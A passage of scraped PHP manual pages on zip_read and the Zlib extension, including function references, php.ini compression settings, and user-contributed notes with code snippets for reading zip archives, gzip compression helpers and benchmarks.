var_export($ARCHIVE->infosZip('./toto.zip'), false); // get infos of this ZIP archive (without files content)
var_export($ARCHIVE->infosZip('./toto.zip')); // get infos of this ZIP archive (with files content)
$ARCHIVE->extractZip('./toto.zip', './1/'); //

class zip
{
    public function infosZip ($src, $data=true)
    {
        if (($zip = zip_open(realpath($src))))
        {
            while (($zip_entry = zip_read($zip)))
            {
                $path = zip_entry_name($zip_entry);
                if (zip_entry_open($zip, $zip_entry, "r"))
                {
                    $content[$path] = array (
                        'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false,
                        'Size' => zip_entry_compressedsize($zip_entry),
                        'NormalSize' => zip_entry_filesize($zip_entry));
                    if ($data)
                        $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                    zip_entry_close($zip_entry);
                }
                else
                    $content[$path] = false;
            }
            zip_close($zip);
            return $content;
        }
        return false;
    }
    public function extractZip ($src, $dest)
    {
        $zip = new ZipArchive;
        if ($zip->open($src)===true)
        {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    public function makeZip ($src, $dest)
    {
        $zip = new ZipArchive;
        $src = is_array($src) ? $src : array($src);
        if ($zip->open($dest, ZipArchive::CREATE) === true)
        {
            foreach ($src as $item)
                if (file_exists($item))
                    $this->addZipItem($zip, realpath(dirname($item)).'/', realpath($item).'/');
            $zip->close();
            return true;
        }
        return false;
    }
    private function addZipItem ($zip, $racine, $dir)
    {
        if (is_dir($dir))
        {
            $zip->addEmptyDir(str_replace($racine, '', $dir));
            $lst = scandir($dir);
                array_shift($lst);
                array_shift($lst);
            foreach ($lst as $item)
                $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':''));
        }
        elseif (is_file($dir))
            $zip->addFile($dir, str_replace($racine, '', $dir));
    }
}
?>
flominator at gmx dot net 01-Aug-2007 03:49
@bisqwit at iki dot fi: If you're using older versions of PHP this skript might only read the first 8192 bytes. Great thing, anyway!
saulius at solmetra dot lt 18-Jun-2007 05:28
Some older PHP versions used to return false if zip_open failed, and newer versions return the number of error (as integer), so instead of this:

$zip = zip_open($zip_file);
if ($zip) {
  // consider zip file opened successfully
}

use this:

$zip = zip_open($zip_file);
if (is_resource($zip)) {
  // consider zip file opened successfully
}

You may also use this function to get the error message by it's number:

function zipFileErrMsg($errno) {
  // using constant name as a string to make this function PHP4 compatible
  $zipFileFunctionsErrors = array(
    'ZIPARCHIVE::ER_MULTIDISK' => 'Multi-disk zip archives not supported.',
    'ZIPARCHIVE::ER_RENAME' => 'Renaming temporary file failed.',
    'ZIPARCHIVE::ER_CLOSE' => 'Closing zip archive failed',
    'ZIPARCHIVE::ER_SEEK' => 'Seek error',
    'ZIPARCHIVE::ER_READ' => 'Read error',
    'ZIPARCHIVE::ER_WRITE' => 'Write error',
    'ZIPARCHIVE::ER_CRC' => 'CRC error',
    'ZIPARCHIVE::ER_ZIPCLOSED' => 'Containing zip archive was closed',
    'ZIPARCHIVE::ER_NOENT' => 'No such file.',
    'ZIPARCHIVE::ER_EXISTS' => 'File already exists',
    'ZIPARCHIVE::ER_OPEN' => 'Can\'t open file',
    'ZIPARCHIVE::ER_TMPOPEN' => 'Failure to create temporary file.',
    'ZIPARCHIVE::ER_ZLIB' => 'Zlib error',
    'ZIPARCHIVE::ER_MEMORY' => 'Memory allocation failure',
    'ZIPARCHIVE::ER_CHANGED' => 'Entry has been changed',
    'ZIPARCHIVE::ER_COMPNOTSUPP' => 'Compression method not supported.',
    'ZIPARCHIVE::ER_EOF' => 'Premature EOF',
    'ZIPARCHIVE::ER_INVAL' => 'Invalid argument',
    'ZIPARCHIVE::ER_NOZIP' => 'Not a zip archive',
    'ZIPARCHIVE::ER_INTERNAL' => 'Internal error',
    'ZIPARCHIVE::ER_INCONS' => 'Zip archive inconsistent',
    'ZIPARCHIVE::ER_REMOVE' => 'Can\'t remove file',
    'ZIPARCHIVE::ER_DELETED' => 'Entry has been deleted',
  );
  $errmsg = 'unknown';
  foreach ($zipFileFunctionsErrors as $constName => $errorMessage) {
    if (defined($constName) and constant($constName) === $errno) {
      return 'Zip File Function error: '.$errorMessage;
    }
  }
  return 'Zip File Function error: unknown';
}

$zip = zip_open($zip_file);
if (!is_resource($zip)) {
  die(zipFileErrMsg($zip));
}
ponsho 14-Dec-2005 09:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

    function zip_entry_read(&$res, $nbytes)
    {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
      return $data;
    }
?>
barbarinasv at interfree dot it 05-Oct-2005 10:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], $nbytes);
    }
    return $contents;
}
?>
robert at cotran dot ca 21-Sep-2005 09:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
    $contents = '';
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], 8192);
    }
    return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi 02-Sep-2005 01:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
    if($line[0]=='-') { $ok=!$ok; continue; }
    if(!$ok) continue;

    $length = (int)$line;
    $fn = trim(substr($line,58));

    $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
    Array('fp'       => $fp,
          'name'     => $s,
          'contents' => $contents,
          'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>


Read next entry in a ZIP file archive

  • « zip_open
  • Zlib »
  • PHP Manual
  • Zip Functions
  • Read next entry in a ZIP file archive

zip_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_read — Read next entry in a ZIP file archive

Description

resource zip_read ( resource $zip )

Reads the next entry in a zip file archive.

Parameters

zip

A ZIP file previously opened with zip_open().

Return Values

Returns a directory entry resource for later use with the zip_entry_... functions, or FALSE if there are no more entries to read, or an error code if an error occurred.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_close() - Close a ZIP file archive
  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

Christian 23-Mar-2013 08:29
Note: Only the first 65535 entries will be returned, even if your archive contains more entries. See https://bugs.php.net/bug.php?id=59118 for details.
nico at nicoswd dot com 29-Sep-2007 10:29
If you get an error like this:

Warning: zip_read() expects parameter 1 to be resource, integer given in xxxxxx on line x

It's because zip_open() failed to open the file and returned an error code instead of a resource. It took me a while to figure out why it failed to open the file, until I tried to use the FULL path to the file.

<?php

// Even if the file exists, zip_open() will return an error code.
$file = 'file.zip';
$zip = zip_open($file);

// The workaround:
$file = getcwd() . '/file.zip';

// Or:
$file = 'C:\\path\\to\\file.zip';

?>

This worked for me on Windows at least. I'm not sure about other platforms.


Zlib Compression

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Zlib Functions
    • gzclose — Close an open gz-file pointer
    • gzcompress — Compress a string
    • gzdecode — Decodes a gzip compressed string
    • gzdeflate — Deflate a string
    • gzencode — Create a gzip compressed string
    • gzeof — Test for EOF on a gz-file pointer
    • gzfile — Read entire gz-file into an array
    • gzgetc — Get character from gz-file pointer
    • gzgets — Get line from file pointer
    • gzgetss — Get line from gz-file pointer and strip HTML tags
    • gzinflate — Inflate a deflated string
    • gzopen — Open gz-file
    • gzpassthru — Output all remaining data on a gz-file pointer
    • gzputs — Alias of gzwrite
    • gzread — Binary-safe gz-file read
    • gzrewind — Rewind the position of a gz-file pointer
    • gzseek — Seek on a gz-file pointer
    • gztell — Tell gz-file pointer read/write position
    • gzuncompress — Uncompress a compressed string
    • gzwrite — Binary-safe gz-file write
    • readgzfile — Output a gz-file
    • zlib_decode — Uncompress any raw/gzip/zlib encoded data
    • zlib_encode — Compress data with the specified encoding
    • zlib_get_coding_type — Returns the coding type used for output compression

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module enables you to transparently read and write gzip (.gz) compressed files, through versions of most of the filesystem functions which work with gzip-compressed files (and uncompressed files, too, but not with sockets).

Note:

Version 4.0.4 introduced a fopen-wrapper for .gz-files, so that you can use a special zlib: URL to access compressed files transparently using the normal f*() file access functions if you prefix the filename or path with zlib: when calling fopen(). This feature requires a C runtime library that provides the fopencookie() function. Up to now the GNU libc seems to be the only library that provides this feature.

In PHP 4.3.0, zlib: has been changed to compress.zlib:// to prevent ambiguities with filenames containing ':' characters. The fopencookie() function is no longer required. More information is available in the section about zlib://.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses the functions of » zlib by Jean-loup Gailly and Mark Adler. You have to use a zlib version >= 1.0.9 with this module.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Zlib support in PHP is not enabled by default. You will need to configure PHP --with-zlib[=DIR]

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Built-in support for zlib on Windows is available with PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The zlib extension offers the option to transparently compress your pages on-the-fly, if the requesting browser supports this. Therefore there are three options in the configuration file php.ini.

Zlib Configuration Options
Name | Default | Changeable | Changelog
zlib.output_compression | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
zlib.output_compression_level | "-1" | PHP_INI_ALL | Available since PHP 4.3.0.
zlib.output_handler | "" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

zlib.output_compression boolean/integer

Whether to transparently compress pages. If this option is set to "On" in php.ini or the Apache configuration, pages are compressed if the browser sends an "Accept-Encoding: gzip" or "deflate" header. "Content-Encoding: gzip" (respectively "deflate") and "Vary: Accept-Encoding" headers are added to the output. In runtime, it can be set only before sending any output.

This option also accepts integer values instead of boolean "On"/"Off", using this you can set the output buffer size (default is 4KB).

Note:

output_handler must be empty if this is set 'On' ! Instead you must use zlib.output_handler.

zlib.output_compression_level integer

Compression level used for transparent output compression. Specify a value between 0 (no compression) to 9 (most compression). The default value, -1, lets the server decide which level to use.

zlib.output_handler string

You cannot specify additional output handlers if zlib.output_compression is activated here. This setting does the same as output_handler but in a different order.

User Contributed Notes

scott at pawprint dot net 01-Mar-2012 03:19
In the hopes this will help others - a hard to spot gotcha when implementing zlib.output_compression. if you use flush() anywhere in your script (even right at the end) the compression won't work - you need to let that happen automatically or it ends up being sent uncompressed.
Nathan 09-Nov-2011 05:53
Apparently, there is a bug in certain versions of PHP with setting zlib.output_compression to "On" via ini_set:

<?php
ini_set("zlib.output_compression", "On");
?>

In some cases, it does not send the Content-type header and browsers won't know to decompress the contents before displaying. Instead, you can set it to the buffer size, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>


Resource Types

This extension defines a file pointer resource returned by gzopen().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FORCE_GZIP (integer)
FORCE_DEFLATE (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

This example opens a temporary file and writes a test string to it, then it prints out the content of this file twice.

Example #1 Small Zlib Example

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Only a test, test, test, test, test, test, test, test!\n";

// open file for writing with maximum compression
$zp = gzopen($filename, "w9");

// write string to file
gzwrite($zp, $s);

// close file
gzclose($zp);

// open file for reading
$zp = gzopen($filename, "r");

// read 3 char
echo gzread($zp, 3);

// output until end of the file and close it.
gzpassthru($zp);
gzclose($zp);

echo "\n";

// open file and print content (the 2nd time).
if (readgzfile($filename) != strlen($s)) {
        echo "Error with zlib functions!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Zlib Functions

Table of Contents

  • gzclose — Close an open gz-file pointer
  • gzcompress — Compress a string
  • gzdecode — Decodes a gzip compressed string
  • gzdeflate — Deflate a string
  • gzencode — Create a gzip compressed string
  • gzeof — Test for EOF on a gz-file pointer
  • gzfile — Read entire gz-file into an array
  • gzgetc — Get character from gz-file pointer
  • gzgets — Get line from file pointer
  • gzgetss — Get line from gz-file pointer and strip HTML tags
  • gzinflate — Inflate a deflated string
  • gzopen — Open gz-file
  • gzpassthru — Output all remaining data on a gz-file pointer
  • gzputs — Alias of gzwrite
  • gzread — Binary-safe gz-file read
  • gzrewind — Rewind the position of a gz-file pointer
  • gzseek — Seek on a gz-file pointer
  • gztell — Tell gz-file pointer read/write position
  • gzuncompress — Uncompress a compressed string
  • gzwrite — Binary-safe gz-file write
  • readgzfile — Output a gz-file
  • zlib_decode — Uncompress any raw/gzip/zlib encoded data
  • zlib_encode — Compress data with the specified encoding
  • zlib_get_coding_type — Returns the coding type used for output compression

User Contributed Notes

Robin Skoglund 05-Apr-2008 01:39
ini_set('zlib.output_compression', 'On') doesn't work

It says that zlib.output_compression is PHP_INI_ALL changable, but in my case at least, this is not true. When using ini_set('zlib.output_compression', 'On') runtime, phpinfo() states that zlib.output_compression is enabled, yet there is no compression.

Since I don't want to enable zlib.ouput_compression for all sites in php.ini, my solution was to enable it in apache conf (.htaccess should work as well) with the line:
php_flag zlib.output_compression on

Just spent hours figuring this out, so I hope it helps other people.

Btw, I'm using Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3.
Brian 26-Jun-2007 08:58
If you have zlib.output_compression set to on when your script starts (in php.ini or via apache directive), then you disable it at runtime using ini_set() before producing output, your output will still be buffered!  Even if you call ob_implicit_flush().

If you want unbuffered output, you must disable zlib.output_compression before your script starts (as well as mod_gzip of course, if you have both installed).

This behaviour experienced on Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-18
anzenews at volja dot net 27-Jul-2006 03:59
php at seven dot net dot nz:
Have you been using register_shutdown_function() that outputs something? If yes, some of the output was not encoded and IE6 is less than forgiving about that. In my case it was reloading the page and sometimes showing a blank page. So IE6 does get invalid stream, bug is not bogus, only description is not good enough.

jpleveille at webgraphe dot com:
In PHP 4.4.2 register_shutdown_function() DOES output whatever you wish, but it is not encoded with the rest of the document. Which is even worse as you get a bug that is difficult / impossible to track down.
php at seven dot net dot nz 07-Jul-2006 10:49
zlib.output_compression has caused problems for me in IE 6, when pages are sometimes not displayed. This could be difficult to track down and PHP have no intention of fixing it, so hopefully you find this note in a search if it happens to you.

http://bugs.php.net/bug.php?id=38026
Arne dot Heizmann at csr dot com 23-May-2006 07:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob 19-Sep-2005 03:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org 27-Aug-2005 05:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net 03-Jul-2005 06:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com 10-Jun-2005 03:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch 08-Oct-2004 02:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
    if($dst == false){
        $dst = $src.".gz";
    }
    if(file_exists($src)){
        $filesize = filesize($src);
        $src_handle = fopen($src, "r");
        if(!file_exists($dst)){
            $dst_handle = gzopen($dst, "w$level");
            while(!feof($src_handle)){
                $chunk = fread($src_handle, 2048);
                gzwrite($dst_handle, $chunk);
            }
            fclose($src_handle);
            gzclose($dst_handle);
            return true;
        } else {
            error_log("$dst already exists");
        }
    } else {
        error_log("$src doesn't exist");
    }
    return false;
}
?>
gem at rellim dot com 14-Jul-2004 05:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr 12-Jun-2004 12:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch 04-Jun-2004 04:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
    // getting file content
    $fp = fopen( $srcFileName, "r" );
    $data = fread ( $fp, filesize( $srcFileName ) );
    fclose( $fp );

    // writing compressed file
    $zp = gzopen( $dstFileName, "w9" );
    gzwrite( $zp, $data );
    gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
    // getting content of the compressed file
    $zp = gzopen( $srcFileName, "r" );
    $data = fread ( $zp, $fileSize );
    gzclose( $zp );

    // writing uncompressed file
    $fp = fopen( $dstFileName, "w" );
    fwrite( $fp, $data );
    fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net 20-May-2004 08:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    if (!$out_file = gzopen ($out, "wb".$param)) {
        return false;
    }

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
        gzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    gzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = gzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while (!gzeof ($in_file)) {
        $buffer = gzread ($in_file, 4096);
        fwrite ($out_file, $buffer, 4096);
    }

    gzclose ($in_file);
    fclose ($out_file);

    return true;
}
spam at wildpeaks dot com 14-May-2004 04:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
    $zp = @gzopen($fromFile, "r");
    $fp = @fopen($toFile, "w");
    while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
    @gzclose($zp);
    @fclose($fp);
}
thivierr at telus dot net 17-Nov-2003 01:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com 28-May-2003 02:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
        $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
mlevy at rgj dot com 12-Feb-2003 11:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
monte at ispi dot net 19-Apr-2001 03:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                 Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
mod_gzip_temp_dir           /tmp
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.


Close an open gz-file pointer

  • « Zlib Functions
  • gzcompress »
  • PHP Manual
  • Zlib Functions
  • Close an open gz-file pointer

gzclose

(PHP 4, PHP 5)

gzclose — Close an open gz-file pointer

Description

bool gzclose ( resource $zp )

Closes the given gz-file pointer.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 gzclose() example

<?php
$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'I was added to somefile.gz');
gzclose($gz);
?>

See Also

  • gzopen() - Open gz-file

User Contributed Notes

There are no user contributed notes for this page.


Compress a string

  • « gzclose
  • gzdecode »
  • PHP Manual
  • Zlib Functions
  • Compress a string

gzcompress

(PHP 4 >= 4.0.1, PHP 5)

gzcompress — Compress a string

Description

string gzcompress ( string $data [, int $level = -1 [, int $encoding = ZLIB_ENCODING_DEFLATE ]] )

This function compresses the given string using the ZLIB data format.

For details on the ZLIB compression algorithm see the document "» ZLIB Compressed Data Format Specification version 3.3" (RFC 1950).

Note:

This is not the same as gzip compression, which includes some header data. See gzencode() for gzip compression.

Parameters

data

The data to compress.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression.

If -1 is used, the default compression of the zlib library is used which is 6.

encoding

One of ZLIB_ENCODING_* constants.

Return Values

The compressed string or FALSE if an error occurred.

Examples

Example #1 gzcompress() example

<?php
$compressed = gzcompress('Compress me', 9);
echo $compressed;
?>

Changelog

Version | Description
5.4.0 | Added encoding parameter.

See Also

  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

stockton at wowway dot com 30-Jun-2013 12:22
After some searching and experimentation I found that output generated with gzcompress() can be uncompressed by the objective c 'zlibInflate' wrapper for 'zlib' as available at http://cocoadev.com/wiki/NSDataCategory but that 'gzdeflate()' cannot. I hope this saves someone else the searching.
Eric 20-Oct-2011 07:10
Did some simple benchmarking of gzcompress() this morning on a lightly-loaded Fedora 12 server with an AMD Phenom II 940 (quad-core) rocking 8 gigs of ram and executing PHP 5.3.2.2 as an Apache module:

Compression benchmark: (level, time, size (%)):
0: 0.000373 - 82.08 kB (100.02%)
1: 0.000914 - 19.61 kB (23.90%)
2: 0.000951 - 18.88 kB (23.01%)
3: 0.000999 - 18.43 kB (22.46%)
4: 0.001498 - 17.65 kB (21.51%)
5: 0.001744 - 17.09 kB (20.82%)
6: 0.002060 - 16.88 kB (20.57%)
7: 0.002233 - 16.85 kB (20.53%)
8: 0.002808 - 16.71 kB (20.36%)
9: 0.002928 - 16.71 kB (20.36%)

The time code evaluates to:
1. Get start microtime
2. Call gzcompress
3. Get end microtime
4. Report average duration of 100 cycles

The 82.08 kB was a copied and pasted string of two actual, PHP-generated pages we use on our intranet. Running some rough calculations, the time it takes to compress the data at level 9 will never be larger than the time it takes to transmit slightly-less compressed data at levels 6 or lower. In other words, in our application, we have no reason not to fully-compress each PHP script's output.
Timo 07-Apr-2009 11:48
With PHP it is quite easy to modify SWF files. The compression algorithm of SWF is Zlib.

SWF default compression level is 6, at least Flash CS2 uses this level. I tested this by uncompressing compressed SWF file and then compressed the contents with levels 0-9. With level 6, the contents of files were identical.

Maybe it can be whatever else, but when trying to compare files at hex level or compare filesizes, it is easier to use the same level.
Samnan 07-Jan-2009 03:34
To properly use gzcompress to send compressed data to browsers that support it (most of modern browsers do, even mobile ones !), use this function (I dont think W3C validator issue mentioned earlier is valid ). use ob_start() at start of your script also

<?php
function print_gzipped_output()
{
    $HTTP_ACCEPT_ENCODING = $_SERVER["HTTP_ACCEPT_ENCODING"];
    if( headers_sent() )
        $encoding = false;
    else if( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false )
        $encoding = 'x-gzip';
    else if( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false )
        $encoding = 'gzip';
    else
        $encoding = false;

    if( $encoding )
    {
        $contents = ob_get_clean();
        $_temp1 = strlen($contents);
        if ($_temp1 < 2048)    // no need to waste resources in compressing very little data
            print($contents);
        else
        {
            header('Content-Encoding: '.$encoding);
            print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
            $contents = gzcompress($contents, 9);
            $contents = substr($contents, 0, $_temp1);
            print($contents);
        }
    }
    else
        ob_end_flush();
}
?>
plasma 07-Sep-2008 07:41
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
prgTW at poczta dot onet dot pl 16-Feb-2006 02:57
